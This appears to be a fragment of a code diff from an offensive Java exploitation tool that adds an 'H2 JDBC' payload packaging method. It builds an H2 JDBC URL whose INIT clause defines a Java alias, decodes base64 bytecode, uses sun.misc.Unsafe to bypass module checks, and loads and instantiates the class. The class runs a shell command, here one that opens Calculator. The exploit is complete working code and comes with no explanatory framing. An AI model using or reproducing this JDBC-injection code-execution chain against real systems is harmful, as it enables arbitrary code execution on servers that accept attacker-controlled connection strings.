String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Throwable{" +
|
||||||
|
"String base64Str=\"" + b64Bytecode + "\"\\;" +
|
||||||
|
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
"try {" +
|
||||||
|
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||||
|
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||||
|
" unsafeField.setAccessible(true)\\;" +
|
||||||
|
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||||
|
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||||
|
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||||
|
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||||
|
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||||
|
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||||
|
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||||
|
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||||
|
"} catch (Throwable e) {}" +
|
||||||
|
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
System.out.println(str);
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -67,7 +67,8 @@
|
|||||||
"Velocity": "Velocity",
|
"Velocity": "Velocity",
|
||||||
"XxlJob": "XXL-JOB Executor",
|
"XxlJob": "XXL-JOB Executor",
|
||||||
"AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
|
"AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
|
||||||
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher"
|
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher",
|
||||||
|
"H2": "H2 JDBC"
|
||||||
},
|
},
|
||||||
"title": "Package Method"
|
"title": "Package Method"
|
||||||
},
|
},
|
||||||
|
|||||||
Reference in New Issue
Block a user